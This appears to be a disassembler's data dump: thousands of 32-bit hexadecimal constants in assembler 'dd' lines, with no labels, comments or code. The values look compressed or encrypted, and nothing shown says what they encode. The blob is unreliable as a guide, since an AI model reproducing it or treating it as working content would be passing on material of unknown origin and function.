dd 235E8DDh, 55F9CD91h, 0B2C0BF13h, 0C900E2A8h, 6A54F3B2h
dd 17780Ah, 9F49E5DFh, 784F198h, 269A364Ch, 0C21750C1h
dd 44AC9030h, 0C59F00D5h, 88072915h, 0D000CF8Ah, 81016F47h
dd 784AC7C6h, 55AF0026h, 9BCEE24Dh, 1B12F9FBh, 170091EDh
dd 7A9771B0h, 9AB88Ch, 764A33F6h, 0F0B29353h, 81FC6200h
dd 0C7450A55h, 7AAD07A6h, 0C004C9CCh, 3F41DCAFh, 5B090BEAh
dd 35296B6h, 0B825642Bh, 29C7C9Dh, 0E74B0CD1h, 8440B8D3h
dd 2100AD7Bh, 86045E8Eh, 0B21DA3h, 0CFBD3B5Ch, 0FA4165C5h
dd 15061401h, 0AF27DA5Bh, 3AF8A531h, 0F9F4037Ch, 0FCFEDBD2h
dd 8EB61C8h, 802AD507h, 0CBA0A4F0h, 5DB7BE8Dh, 11340A7h
dd 4AD107E8h, 0B059F06Eh, 54BC917Ch, 3C4B0056h, 3146419Ah
dd 0EB4D8DEAh, 84967F20h, 0ADD28C40h, 0EC1FE4D0h, 4EAC136Ch
dd 0C22800B5h, 66D9BB85h, 2ED26000h, 6593CB55h, 0B3EA0099h
dd 0B5A27BC9h, 1C58E886h, 59780097h, 2D19E4F5h, 3F4098B9h
dd 9E18B373h, 963811F2h, 44037A26h, 32BDA300h, 5E30C6h
dd 958EC4BBh, 0B5E1488Ah, 0E0268900h, 0F34FD952h, 29A60022h
dd 306E8C19h, 6C02166Ah, 5646A4CAh, 9A604036h, 0AF900A9h
dd 7BFE40F4h, 4B00F557h, 0BB6F4171h, 47C0A3h, 7B9EA93h
dd 6560D886h, 550EEEECh, 2334822h, 600D3D24h, 2392CEh
dd 0BF9AE0C5h, 0A23B2AB8h, 8BF23000h, 60297375h, 5E8312D8h
dd 0A1A801A9h, 30567028h, 7E1602C8h, 1C807109h, 7426C2Ah
dd 6B055A76h, 7D0C6058h, 7C00D8C9h, 0A64A5BDAh, 0B00939AFh
dd 0DDCB005Ch, 0CA4669E4h, 331E0127h, 0B95F2353h, 222483C2h
dd 55FC4150h, 0AC3174E1h, 12F16EE4h, 80D34B5Fh, 9BA87A4Ch
dd 90283600h, 1AB42508h, 0D3F0FFh, 3765014Ah, 3D59F780h
dd 9C4DBF28h, 4BDD7704h, 0D8C356B9h, 9DC2C7AEh, 6620482Ch
dd 0B2941183h, 0C39508D6h, 793A07DCh, 0D7BE0D1h, 8012D825h
dd 0C401BDD3h, 965254CFh, 0D533DCh, 0D2872611h, 0DC7595FFh
dd 0D6A89960h, 0FE9F37h, 0F183FA85h, 0F0B1551Ah, 0C0522307h
dd 44F076F3h, 0B0ADE7h, 0EB43C3AFh, 78040ADCh, 2C0065F4h
dd 3295FB1Eh, 0C3DBDDh, 0F340171Dh, 0B281F7Eh, 52607A03h
dd 0E856D2AEh, 0C4C3B8h, 75D42CFCh, 85C0DA8Ah, 8111500h
dd 0F1092970h, 0D85761B0h, 0D480B9F0h, 0BF001BBEh, 6EE1E6DAh
dd 4F8DA033h, 0B2D40082h, 0BA20D3DDh, 0D125F400h, 83E267F0h
dd 57AE3842h, 32EC007Dh, 0E1DF95B4h, 4350225Eh, 1A208BE8h
dd 0D0CD07CCh, 0A074127Ch, 0F6AEE387h, 5ADF3409h, 50EC47h
dd 3FD719B4h, 436884D5h, 0DBEF521Dh, 28D44280h, 8EBB3Dh
dd 0F855642Fh, 2643769Eh, 6D381A1Eh, 8765D789h, 0B7705B33h
dd 0C0E18A0Ch, 1FEC9288h, 73EC0599h, 1369C300h, 7F53D914h
dd 8C8E07DBh, 53202379h, 62F8E8BFh, 0DA00F4EDh, 6139C36Bh
dd 0E6B316B6h, 93970365h, 92AF0188h, 0D8E4AAE0h, 78DFBB00h
dd 8FC0F64Eh, 0D4BF0051h, 0EC6EFB5Fh, 9B1F8A5Ah, 0DE6F37A8h
dd 47C8006Eh, 1578B9A2h, 3E201400h, 934A4F7Fh, 59327001h
dd 0F000D040h, 8710C3CCh, 4C2CA4AFh, 2400CC4Fh, 0C0F3D25Fh
dd 0E8D90063h, 9F9DAAD0h, 0E090C7BCh, 518C953Bh, 3C15E884h
dd 0FA2FA03h, 0D8E2AC2Eh, 0E3DB8421h, 0ECF8619Eh, 70238190h
dd 0F721D33Ch, 966BAFA0h, 110818D0h, 0C03CA213h, 0C4BD6800h
dd 8B29CE42h, 0A0DEA900h, 0AB505F97h, 26FD0E32h, 9E00E4EDh
dd 5A348DB1h, 67716407h, 0DDC74CBBh, 8A013C4Ah, 0AB24A8D4h
dd 18DC108Dh, 0A178D334h, 463F6F7Ah, 2D4900D2h, 0FE47FFBBh
dd 8071F85Ch, 9E30E4A8h, 548E4110h, 25141DD1h, 5B13055Ch
dd 7C14006Ch, 32B6C553h, 35729B00h, 0BBC80920h, 39B30777h
dd 0A9A859D0h, 0DA58F458h, 639000FFh, 0E0C9EB55h, 86810F3Bh
dd 8205216h, 445D8591h, 0F3E27300h, 477EE677h, 0D8F10187h
dd 92445ADh, 0F2F520D6h, 0F090B374h, 1A021E00h, 0D837F414h
dd 6E5101E0h, 3D90D493h
dd 3A1EE050h, 7596ED00h, 4A451D33h, 8A7C006Ch, 0F55B09B4h
dd 0D2003F59h, 2FE522E3h, 689C2Eh, 19D32B99h, 324C6031h
dd 0BE35AE1Eh, 0BB80640h, 5CE99D0Ch, 6F05C227h, 81DCDA1Eh
dd 0D398D906h, 52F40F8h, 7C84C4A8h, 7FA739h, 0B8FA08EEh
dd 14564E49h, 0F3619DFBh, 5F7EB600h, 1D5C0BE3h, 0F103190Eh
dd 4DFDA2E7h, 0EDC08112h, 5185B3A3h, 91CCDDBBh, 522207BCh
dd 70C02ED0h, 0F200610Dh, 0F35DCF8Eh, 0DFD4D9DBh, 103EA230h
dd 0FFED8073h, 0A68429EBh, 0FA8D07BAh, 365E267Ch, 0A10029E3h
dd 5469AB68h, 3E8213B5h, 2E0E4F99h, 0ECEFD22Fh, 812905E0h
dd 91065794h, 0A95AED61h, 0E4F0A1h, 8DD63D06h, 881F5B0Ah
dd 0E032493Ah, 801B56E0h, 28150067h, 0D02FA682h, 4507596Fh
dd 1A660BACh, 16DFE09Fh, 3EF23E2Ch, 0B701AB26h, 25CA72E7h
dd 9FADCC45h, 60005A7Bh, 3F87E9EBh, 71FF7629h, 0FB0203C8h
dd 0EEF740D7h, 0CA64BED0h, 73B0E100h, 0F25D6A2Ch, 6911E5Ah
dd 0FC37001Bh, 0A042D783h, 1619000h, 0ADDBDAD8h, 0F8F600C9h
dd 0D576EDEBh, 630043E1h, 0E561709Fh, 1DB4A958h, 808BC13Ch
dd 3393DA76h, 0AD004179h, 0B8E126EDh, 1E44EA9Ch, 62313Ch
dd 116EB96Ah, 0F40659D1h, 38FF8158h, 0DF0487C8h, 0AB374702h
dd 2F581DEBh, 0B8A10026h, 7394E15Ah, 0F400497Dh, 3B094CC8h
dd 333744h, 593EBE40h, 0B005980Bh, 1DAF5E00h, 4C4503B6h
dd 1C9C0160h, 4018BD2Fh, 0C428903Fh, 251A382h, 9021AC04h
dd 7B01142h, 90AB3B11h, 8984B851h, 427C48E4h, 0A4225461h
dd 0EB8E229Dh, 2308E822h, 2911FE88h, 0A0289F70h, 14545028h
dd 0FCF844F9h, 0EE952284h, 2A114042h, 84821F9h, 0C4BDC8ECh
dd 58E70071h, 9121C78Fh, 1C000F37h, 0A34F61CDh, 8D9B03h
dd 0EEE94EBDh, 0C4946A49h, 35582F00h, 8293BB02h, 60C00FBFh
dd 0F6C0594Fh, 37DF5528h, 3D67EC00h, 0FE89EFBh, 2B0D0093h
dd 206CE30h, 0FF1C49A7h, 0EEC0297Eh, 0C8CB5684h, 528200ECh
dd 415F954Ch, 57001B3Ah, 6775C04Dh, 0AC36D8h, 0C70E31A5h
dd 73A8BF20h, 0C23B460Eh, 0BAE7406Dh, 0FCB35A6h, 7765EC62h
dd 9475C07Ch, 0B0DF9C8h, 2867E200h, 559717C2h, 9AD305D9h
dd 0C01151E8h, 4CF4C8FBh, 1D16CDFAh, 7C0099FFh, 3D0FEDC7h
dd 2B4901AAh, 74C332B2h, 0AB30204Eh, 0AE8BE00h, 3DD308CFh
dd 0B7290079h, 0BCF495ADh, 0A31E1368h, 0ED6E261Bh, 0A0A8821Bh
dd 150B0C5h, 4A875B76h, 0D45C941Fh, 3D1F2D0Bh, 0B492216Ah
dd 0E5487000h, 28825169h, 3BC1397h, 0D3744FCEh, 0FC90B279h
dd 56005A61h, 27639A8Ah, 7E75D888h, 0AD681EABh, 0E71641ACh
dd 0CC44DA51h, 0A600B601h, 9DF49B73h, 0D8650Eh, 223C1958h
dd 0D5DDDB93h, 8A38CC00h, 0A1270C56h, 3F07473h, 97A76A9Bh
dd 0BAD8F52Eh, 0AF505DF6h, 0E61F4396h, 4804968h, 8BE245FAh
dd 0F4330057h, 983130D0h, 0BA000DA9h, 670F2436h, 0DEAF6Bh
dd 9768FCD5h, 63A94227h, 6900C87Ch, 58A72E84h, 2E6B8FBh
dd 0B5199E30h, 0B4A0443Ch, 200779CCh, 2A368E00h, 0DF30056Eh
dd 15D76A2h, 0A41D70AEh, 0C4D3A383h, 201C250Bh, 0C400511Bh
dd 96E785DEh, 0F97A001Ch, 0B027EFD4h, 1490C25Dh, 0CA069E00h
dd 185468E5h, 129C00D7h, 0E8879A03h, 91FA7940h, 80CAF438h
dd 0E9C4B3A0h, 3E3AF16Dh, 0E80E351h, 73C5F60h, 0DD0089A4h
dd 8B8A64FDh, 0E88FA225h, 2E40750h, 9014802Bh, 3CA611FEh
dd 0BD00CBF0h, 8D086EE7h, 716884Eh, 8FF51D45h, 0DD559036h
dd 400F2607h, 80B343A3h, 3998CACCh, 0A25F0E34h, 0C301A408h
dd 30E8A71Ah, 40009488h, 5DECFED1h, 1F909C9Fh, 40098D4Ch
dd 0BF04C738h, 0D30134B9h, 9836731Dh, 0B4F4EE40h, 11A8249Ah
dd 56BD01B0h, 80695347h, 0AE2E8020h, 0EE1439Ch, 10B0AB30h
dd 60003A89h, 0FF314121h, 91263EAh, 0A20794B4h, 0E220F114h
dd 606E5Ah, 16BBF0CFh, 0B4AC5C47h, 57656603h, 0D01F8BD8h
dd 3284B5h, 519D253Ah, 3FCC507Dh, 17EC6900h, 0D86228C1h
dd 30A0027Bh, 442A1D22h, 8341F861h, 0D1969CFAh, 0B95FD380h
dd 53E4313Eh, 0DD6B00F3h, 95F6BE70h, 24007AB9h, 62AFDF76h
dd 76E3AB6Dh, 0B0703D52h, 0FD37C800h, 0CDFCC538h, 0ED005098h
dd 9D3B8F6Bh, 1764EEFh, 0C78CE1DEh, 0F858ADF7h, 26E84FBDh
dd 0CCC1931Fh, 0A7300481h, 0C20F669h, 8619C37Fh, 7EA059FAh
dd 2B008CC8h, 0E46FE9F7h, 0E03F65h, 0BF7836B6h, 0CF269D39h
dd 0F0F49300h, 8B911ADBh, 10A900A6h, 4D851913h, 74903B97h
dd 0FBD66209h, 0C90103BFh, 5D19D0C3h, 0F0850060h, 7A5937E3h
dd 0FCED87CBh, 8013F2FFh, 5002FD15h, 47DD5Eh, 0F090DFCh
dd 2170B100h, 77C441F6h, 0D1510C8Eh, 11A00740h, 0BA001474h
dd 54843992h, 1AE058Fh, 9B0CBB6Bh, 30384E70h, 6F79E14Ah
dd 0FE71760Fh, 0E597608Ah, 7830DA5h, 3EDD6A8Bh, 81D8706Bh
dd 8839D408h, 2FB48363h, 269A75C3h, 0D098C191h, 8309C945h
dd 805F8DD4h, 0DD1B3405h, 98920Dh, 0A246B54h, 0DF402078h
dd 4375D2Eh, 0AADCB180h, 797AE57h, 2F5FBBB5h, 20526615h
dd 38E97E2Bh, 65939F40h, 0F14126A7h, 5422006Ch, 63707E40h
dd 2C26A830h, 47D671h, 8B3A8A1Fh, 0BF2923C4h, 1665F13Ah
dd 630051A2h, 8ABC423Ch, 22B0045Bh, 0C023AB3Ah, 303E0603h
dd 80BDB938h, 0E13F6B72h, 767470F4h, 0B87900B3h, 8525A59h
dd 0D7F87FF3h, 1A001190h, 73D42695h, 362FEAh, 92A367A7h
dd 4D6102E9h, 7A75CD00h, 0E6B37FEEh, 30374C10h, 0F696B100h
dd 0BE8BF242h, 3911BB07h, 0DE5084C4h, 28310DC2h, 7BC4E26Bh
dd 0BF9600F3h, 978E26CFh, 0C700FD77h, 735AA64h, 0FEF598BAh
dd 8BAB007Bh, 8DC7378h, 18005BB9h, 5F9A874Ch, 10EC1DEh
dd 3C741C92h, 309964F9h, 151FE6A8h, 58147542h, 630079B8h
dd 92407D77h, 0F7E818h, 0B86876C2h, 0CCC083FDh, 0DCD80400h
dd 0F6A2065Bh, 0A76B14E6h, 5E3EB068h, 0EB007548h, 616C3E9h
dd 4B306EB7h, 2612383Bh, 2CECF45Dh, 3ED837AEh, 695EA900h
dd 0CA39626Ah, 0AC64CB01h, 2A9168BBh, 9B775E4h, 6D59A3BDh
dd 859E9400h, 2B0E25B0h, 0A0A095F8h, 54DF6CB3h, 12280001h
dd 7326BD06h, 3600D916h, 9A7BD1D3h, 0DEA32Dh, 0ED9F3D21h
dd 495267D6h, 135EDD00h, 457922DBh, 748987Ch, 3A053181h
dd 0F3212002h, 1E02A02Fh, 0E4C74830h, 6C460FAh, 7C823BBBh
dd 65FD0580h, 490AB076h, 0C3B12E00h, 0A734673Dh, 1D3C0742h
dd 50DB6210h, 3A725D18h, 0ED0D1714h, 9C7B07E8h, 5E90F729h
dd 0FF8F61h, 0B24F9F94h, 0A731DE6Dh, 0F1002379h, 46E36253h
dd 4821B014h, 6E0038C1h, 0AE679702h, 0A5136838h, 800AA45Fh
dd 803DE83Ah, 48A1DA2Dh, 1D0B0F2h, 707D0197h, 0CA6A5B79h
dd 0C8FECA40h, 0A4903EEEh, 93F72D39h, 1000F6B3h, 4AD2B7A0h
dd 3B49833h, 2EDBA513h, 21001BE0h, 0A2D1BEA8h, 0CBB30Ch
dd 0EBDB658h, 302F6E6Ah, 801BB200h, 0F852DB50h, 0A2AB0B65h
dd 0CC059DB8h, 8BF81C21h, 72873668h, 93F420BCh, 80E97ACCh
dd 37C57510h, 46E66Ah, 0FD4AD32h, 59477B11h, 0E131CA00h
dd 0E60115DAh, 560B00F3h, 6E1026E5h, 0BC2EC46Ah, 0B0004C71h
dd 0FEBDD105h, 34A8002Ch, 7C41BE6Ch, 3900D4D3h, 0FAC5913Ah
dd 18FDA920h, 0E82AAB07h, 0E64C15EEh, 41560235h, 0A16F1327h
dd 3B9F4484h, 0D1B6E10h
dd 52D6D700h, 0ABDEE0B5h, 69580332h, 24CD2D19h, 6F8167D8h
dd 0A600E971h, 343B89C9h, 18E201E3h, 0E8E473BDh, 0AA1CB942h
dd 81FCFAFBh, 0D146330Eh, 0F8C46655h, 79F0096h, 26B3ED0Fh
dd 0F01D176Eh, 1641B2B4h, 0CD82479Eh, 74465330h, 6268C038h
dd 67AE6B26h, 48184000h, 6913B0D5h, 4ABD000Dh, 0CF531AB1h
dd 63250694h, 3BC8804Ch, 1F42E9DCh, 0C0219ED6h, 5C60D5BFh
dd 0A098AC72h, 5762C000h, 0A6A31234h, 370FE05h, 943084EAh
dd 9CF6B625h, 6529F600h, 4D21D81Ch, 7B40903Fh, 994AEEh
dd 328D1584h, 0C70060A0h, 77562026h, 0EF0AD3E1h, 498BCFFCh
dd 2D001CAEh, 9AC95B06h, 0F72CDD80h, 550074D2h, 0D0E7D352h
dd 0FAD61FEAh, 9717C0E3h, 0CC0289F5h, 2D073Ah, 8C04EB4Dh
dd 188E45h, 9C7D5D58h, 9E2842CBh, 3AC9AC06h, 0BF8EA53h
dd 38930BB4h, 59D84400h, 4C2C8F83h, 0DF1DA4BEh, 378580BDh
dd 0D2F61898h, 191C2C48h, 6BBF00F8h, 0DCEB2C43h, 1F1ED3FCh
dd 7F09A6F2h, 2E5400F9h, 7221E4h, 0ADA2A780h, 0A368D7F4h
dd 420202E8h, 5C9B0C6h, 98041DDh, 77A60h, 67369235h, 413C9FF8h
dd 8EE93A00h, 9BAC21Ch, 0ED110B56h, 1FE374h, 12303844h
dd 585DB64Eh, 0E7110380h, 0C8F352F7h, 1D1E9101h, 0C01F1319h
dd 6425CDA1h, 73006E79h, 26D9745Fh, 0DE2BA2h, 782890F8h
dd 0C2892FA0h, 241FAE4Ah, 0F388A24Eh, 0DD0D2000h, 1EA4743Dh
dd 80A0B35Bh, 0F1180407h, 0B6011A6Fh, 8B67D73Bh, 5C40D9Ch
dd 78EB00D2h, 604A585Fh, 7F16C54Fh, 28006271h, 3085042Bh
dd 9A8B05Ch, 75175202h, 0DD4B6F80h, 717B4307h, 6DCDE800h
dd 6410858Fh, 75F300C3h, 443A0665h, 0DF077723h, 62287D93h
dd 0D60C0529h, 0D1CCC507h, 924C7C0h, 81E000CFh, 3229F7FCh
dd 7700BF72h, 6175AD7Eh, 43CA0Ah, 7F5E18A1h, 0B5205DD6h
dd 0DB22FE0Eh, 7BC1A07Ah, 59B349h, 918AD04Ah, 79FCA331h
dd 1260AF1Ch, 0E53C9A40h, 61698Fh, 0F5AAB49Fh, 280A118Bh
dd 467D3A00h, 14C12FDh, 9FC00054h, 58159D77h, 5700E719h
dd 5B1FC7Dh, 7EDAA6Bh, 2FCCB3E2h, 87323126h, 0D8B860C4h
dd 0D0034F76h, 7BA78AF8h, 285FE0A0h, 84424836h, 5400153Dh
dd 2CF56AF3h, 1E58B378h, 6700792Ch, 0B4340FAFh, 0B4ABAh
dd 6558165Eh, 0A6194BC3h, 57003FE4h, 23F325E2h, 388AEC1Dh
dd 0C82690F5h, 4F5100ACh, 0C60FE932h, 0BC543907h, 1D0076Ch
dd 53F0A9h, 58B8A37Bh, 6A735CE5h, 863EEF00h, 0A0057AEDh
dd 34980133h, 0E43FB1FEh, 12860CCh, 3800877Ah, 0B4DD797Eh
dd 0D6039Bh, 0EA224B35h, 0C9AD9755h, 81F89F48h, 2EFB0B1Bh
dd 5A003413h, 901F7D68h, 1CC288C0h, 82E6DF29h, 6915FA82h
dd 0D4368041h, 7E00F6AEh, 1E9ACCC1h, 8D12A0h, 6BFCC701h
dd 9D9454DAh, 0E82D8F00h, 25EBA648h, 26DC00B4h, 0B609AB63h
dd 9160200Fh, 4EED4640h, 441007CEh, 2061EEFFh, 0FAA87DB1h
dd 0F0C0CB00h, 0AD357A5Eh, 2B210033h, 0DA070174h, 887D5995h
dd 8BD74C00h, 7112D002h, 0BA4226B5h, 0EB04001Dh, 0D9A4AA81h
dd 2F1A6401h, 16F284DDh, 0C5AC4D4h, 4F409456h, 12000D76h
dd 0D22C38E7h, 0FABA8BC1h, 354836h, 80CF21FAh, 0D0EEAA3Bh
dd 89909AFFh, 7E1B5E00h, 7D8243BFh, 5B2A0016h, 539E17F1h
dd 0A0083F3h, 4839CD56h, 1D93E360h, 0E86C6Bh, 0D89FB9A1h
dd 0C152FC2h, 0D051ADh, 4C562515h, 90E55C38h, 0C0352400h
dd 203B18BCh, 83007FD3h, 0CAAA4E66h, 0C036A8E5h, 14EC47F8h
dd 3C964B7Ah, 58FDA930h, 0DBDE0111h, 0D6A12E95h, 8A20874Eh
dd 65037E52h, 3D38B9FCh, 5504C4h, 300CA3B3h, 621CEB56h
dd 2561F903h, 9FEC2E65h, 68ABE2D0h, 5F940151h, 26BF9503h
dd 0B4BB70B1h, 40CA04Ch, 43F5463Ch, 0A208F4h, 0B88CC1DBh
dd 8A322FC6h, 4CA05A90h, 0E5FCEBB5h, 55A19200h, 442F4D5Dh
dd 0EFF2006Dh, 0C6AFA069h, 3362E768h, 6C1392E1h, 41EA00ECh
dd 0BA6BBBBFh, 4F2EB4F4h, 4E840888h, 0DCE08D0Ah, 4C022DD8h
dd 3F7187C0h, 4F06BC00h, 0FB97D1ACh, 300F0053h, 669E330Ch
dd 7D002558h, 954294ADh, 40A768h, 0A1CA840Dh, 112B1306h
dd 7962740Fh, 493F83C0h, 1EC09520h, 184A91h, 0EBF1A223h
dd 0CAE42830h, 90D69C31h, 72D8AF4Bh, 516E0767h, 4065880Ah
dd 8F3DC2BFh, 0B2108E04h, 0E8C061CAh, 0C4EB73h, 0C720BB80h
dd 7667EA4h, 68BE7700h, 80FB519h, 0BAFD0FD2h, 0A7E0CB34h
dd 15D813B8h, 1E218B00h, 0ACE8F2B9h, 1833001Ah, 0B514B424h
dd 827A6BFBh, 0E10E3A7Dh, 40974A87h, 0F55236A9h, 77920024h
dd 0AFEB3F83h, 4C006C66h, 4A8654F6h, 2E47AC59h, 3BEED8F9h
dd 4502D8C8h, 71C3765Ah, 55B69C40h, 0F394F800h, 3660D270h
dd 0EC744CCBh, 94EE280h, 85074D82h, 0ED3235F6h, 786881C9h
dd 75E848A1h, 6C41161Ah, 0C2B809F7h, 392368E0h, 0B6030200h
dd 11919DCBh, 8A1E0012h, 44DA9830h, 8100F7ECh, 0A76C1D79h
dd 26B3BC93h, 5048861h, 1083B866h, 0DE01FAD4h, 682742E1h
dd 0CEA0F4FDh, 190B2509h, 2D100043h, 5481CB3h, 10B4CD83h
dd 40871ECAh, 0C7374008h, 2398C49h, 0CF161E9Ah, 38B00BFh
dd 0B757CCE6h, 0EE0A1CBFh, 0D344C5F4h, 2C55C142h, 0D9183064h
dd 172A5713h, 4C6B80C1h, 0F6ADB834h, 965300C5h, 234EF9A4h
dd 900CC49h, 42BC7745h, 13A13Bh, 67891D08h, 2EF89403h
dd 0E000E74Fh, 0E584C416h, 14E005h, 88974F20h, 0DE5742C6h
dd 32EB7D00h, 3D8FC32Dh, 26FE0079h, 38EEE6ECh, 48007519h
dd 0D0B4E46Ah, 15827Dh, 96F772A6h, 6F2BAD66h, 6BF1BF0Ch
dd 303E8CEh, 233154BEh, 2AF7C48Fh, 0D8538D3h, 0C093CE37h
dd 8535F8A7h, 6D794C18h, 1AAFD18h, 7B86CF2Dh, 0DCEA813Eh
dd 590092B2h, 7E3A7DC0h, 5D57DE9Ch, 62D5454h, 0D802B080h
dd 4CB6BF36h, 830BF013h, 6C480490h, 0B6A908C0h, 0D0E10033h
dd 71F6CD32h, 0D52E0E27h, 0B918672Ah, 30FDABECh, 4FE855E6h
dd 48989F0Dh, 0ED3E7417h, 0CCF95400h, 14106FEh, 71092BE2h
dd 80D552F0h, 2C013E3Ch, 0C9A475h, 11A904B4h, 1D9538FEh
dd 0F661038h, 925B520Fh, 19DD4CC1h, 0A1AC7F8h, 0AE144142h
dd 0A33A80ECh, 72DF5C65h, 0FE765803h, 0E0C3D091h, 739A974Dh
dd 59420F45h, 1B652FE3h, 9B4CA09Dh, 760FE803h, 0F05EA7D6h
dd 50F9CD8Ch, 34FF8AAh, 8B90D451h, 46B8111Ch, 0CB008E30h
dd 0DC819EA1h, 0ED25C6h, 0E343EE67h, 2EF8A21h, 0EBC7C302h
dd 404D6314h, 1290A2E4h, 0C22B366Fh, 20E4EF18h, 4CADFB00h
dd 36B83C2Eh, 809F381Bh, 0A7B54800h, 0C36413E2h, 6E00587Eh
dd 0DDAF4DB9h, 0C7A5C6h, 34929103h, 0F1763ED4h, 0A979400Ah
dd 9001D4B0h, 2C91E6A3h, 0F61B5AF4h, 0E7AD381Fh, 0F0505958h
dd 190C0049h, 4CE3864Fh, 7F3D229Ah, 3A730075h, 9836A7F1h
dd 637001BEh, 1E71B7C5h, 0D93880ACh, 0CDBFA89Ch, 73090E2h
dd 677C352Ch, 474B5087h, 3B4C91DDh, 366D00ADh, 54631B13h
dd 9CA400DAh, 0BB3020B3h, 5A07CDFDh, 7EA17947h, 0F1452980h
dd 9C693B1Fh, 3DF29300h, 6A22D3F4h, 55558D2Ch, 0F3384700h
dd 83567Ch, 8B4E24AEh, 7B070CE9h, 0CB4BB10Eh, 0E00A4F21h
dd 0F36957C8h, 0DBBA0074h, 7067D91h, 994AD838h, 414D7840h
dd 4CC42DC1h, 7E2EC54Eh, 9A610098h, 221126EEh, 74F8DA2Ch
dd 0B65D5681h
dd 0C644F36h, 0CE05171Eh, 10F89779h, 88C6FE74h, 8B00CD74h
dd 8EEAA75Fh, 559F38h, 0C3350566h, 90F1FBFFh, 0E0223600h
dd 1D305F4Ah, 0ACCA02C4h, 3BE16A3Ch, 8843FCF8h, 0C5BD8D87h
dd 7604AEAEh, 9C805C7Bh, 9723DFh, 0C892B6DDh, 21044271h
dd 4100F67Dh, 54D91F8Dh, 28CEF59Ch, 3FE08A8Ch, 56B8BEF7h
dd 34E0DC00h, 69052F08h, 7F3D5A18h, 14D773B0h, 0E483E5D1h
dd 0F3767200h, 609880D6h, 0DA00477Bh, 4367E265h, 154224Bh
dd 942B8C90h, 0C4F57595h, 700D34Ch, 0A9B805BEh, 0B7257EDh
dd 123191BCh, 0E3449420h, 3005E74Bh, 2F389E1Eh, 0BB4F1CD0h
dd 84230005h, 0D385BDF5h, 8807FCD1h, 0A9B10846h, 5FB3C9C0h
dd 3C4F00BFh, 6CF9F27h, 9001344Dh, 0D36BA14Bh, 0E0E4E285h
dd 3DFB0043h, 0CB35D6E9h, 0F5005B3Ah, 5F1068E5h, 4DE4E3h
dd 0AEC59B20h, 0D8B35065h, 6D37C800h, 0A25B8BDBh, 0D031481Fh
dd 0F7EE84Fh, 0A04B7CD7h, 39378D19h, 8B43EEDh, 5EF6017Fh
dd 1791B19Ah, 4A4C600Eh, 20050FCh, 0ED1A8FD2h, 5C60ECE7h
dd 0A01E0FA3h, 638900C2h, 0CD39C655h, 7E036FF0h, 0A7659858h
dd 0AD1ED8D6h, 1AB90787h, 7081B4E0h, 0EFC876F6h, 0C754C400h
dd 4957B98h, 0B2A50B47h, 7400E4A4h, 0C3186EDh, 0AB212800h
dd 6863044Bh, 3059F86Dh, 18214653h, 0D60745FEh, 745DB38Bh
dd 1180C547h, 71657ABh, 0CEC4F430h, 5C4C1353h, 599A7FD0h
dd 5E060701h, 0BDDA55CCh, 0E8027828h, 32A49B02h, 0F40D18E9h
dd 6F001CDFh, 7EF248C6h, 0BB85283h, 19D0CF91h, 10351C87h
dd 0A6E561FAh, 945E1200h, 0C64BE46Bh, 62360064h, 0B64A7DF7h
dd 230C17F3h, 384E046Eh, 863E14D1h, 3800A5E7h, 485FA27Ch
dd 831210CCh, 9C00D947h, 82FF28D2h, 0AB1D2870h, 0D37A0908h
dd 4435964h, 0FC2F72E0h, 0EB0ED7F4h, 8E9FDDF3h, 80F26FBFh
dd 0E8270635h, 0D69800AEh, 0B670AB7Bh, 0D0B578C4h, 44FB2E63h
dd 48AC0F9Ch, 5CF7D080h, 6BE2DB59h, 388B6A18h, 17DDF441h
dd 4081CB90h, 0B0DE37B4h, 0E000C24Eh, 0A44903B6h, 2F1D4Dh
dd 2A85915Dh, 0FF425311h, 44EC3D07h, 8A108B78h, 0EF74B9Bh
dd 0D9364189h, 7F6DC021h, 0EE8DD862h, 0F42C5C01h, 0C5A94467h
dd 0AA38D4h, 0E83E3A8h, 931DD34Eh, 160B38h, 0F2A1BFFh
dd 0D22EA0h, 0D9013F47h, 88C44C7Ah, 0CB572D07h, 7E60A7F0h
dd 83399Bh, 7829816Ah, 0AB9E4876h, 67E35809h, 0DEC78077h
dd 0EB570Eh, 334F7B83h, 145B0DF5h, 5A0AAA00h, 0EAC2F02Fh
dd 5D19805h, 0A0D22719h, 6A1FC034h, 260E9C11h, 27DFFDB8h
dd 0F3405DFFh, 2406C60h, 0EF5E5497h, 0F86AF432h, 5504D808h
dd 18FE0074h, 5BBCAD10h, 0D500E446h, 16A889BDh, 154F4Ch
dd 0F7CA9B17h, 1410B9E3h, 0CB80D50Eh, 88818011h, 0F8A8BDB2h
dd 54E20FB3h, 0AFCEAC46h, 44C6AA41h, 15CDF08Eh, 0C9004774h
dd 0C07BEA5Ah, 0F689A9h, 0B210A1EBh, 176B4BCh, 0BEC63Ch
dd 67AEE175h, 2BACC15h, 0DF18448Ch, 0A7E1E876h, 40023B3Eh
dd 13FF07Eh, 196E53Dh, 0CF10819Dh, 52801E7Ch, 40C989F2h
dd 29BD614h, 1821DC83h, 0E89511F1h, 11849D11h, 9117FE7h
dd 0DCA1135Ah, 4A85EF44h, 0CA042803h, 0D0A3EB8h, 0ECF4083Ch
dd 0EA841F90h, 42D948E2h, 9B245722h, 12D97021h, 0F61484E5h
dd 2882B722h, 3124DC59h, 1270B121h, 49A1053h, 441D4040h
dd 185499ECh, 67442FA0h, 29086474h, 0B30E4029h, 1556D43h
dd 377F16BAh, 704CD540h, 69008725h, 7EAF0159h, 0B8B9FCh
dd 9080F2DEh, 0E92B98D7h, 72229600h, 95F08C5Bh, 26160FCAh
dd 0E3FCED1h, 6D41B198h, 87A807FFh, 0E4F3B0CAh, 0ABB58350h
dd 3B913A43h, 4E03B4CCh, 0ED880EA5h, 24E2A6D8h, 0C078B100h
dd 57411CB3h, 0E373CDh, 237C529Fh, 6B8EF37h, 916BCC01h
dd 0CE0FB73Fh, 994DF0h, 5896DD41h, 0C2EB723Ah, 0B2359E1Ch
dd 0A005F9C9h, 0DD4C6398h, 0A36701D8h, 0B60671AEh, 7719F439h
dd 551AA900h, 2621DCC7h, 598F1868h, 4C2E503Ch, 30666200h
dd 0F32CD463h, 0E1DCEBAAh, 7D21003Ch, 9E3927A9h, 50943FEBh
dd 8B17F824h, 0CD8C0Bh, 7AD85FD9h, 0D406007Fh, 764D102Dh
dd 3B03A074h, 0AB0D5E4Ch, 5CE6B059h, 2CDF0061h, 246D4FCCh
dd 0CA00D8DBh, 0F3D6F1F9h, 1B0B23h, 98059903h, 7ED3077h
dd 8A70E30Ch, 1D72069h, 0F7D4195Ch, 20969D75h, 82E0770Dh
dd 4A5DB200h, 0F42542C0h, 0B86B07Fh, 7DFA2887h, 8000E80Fh
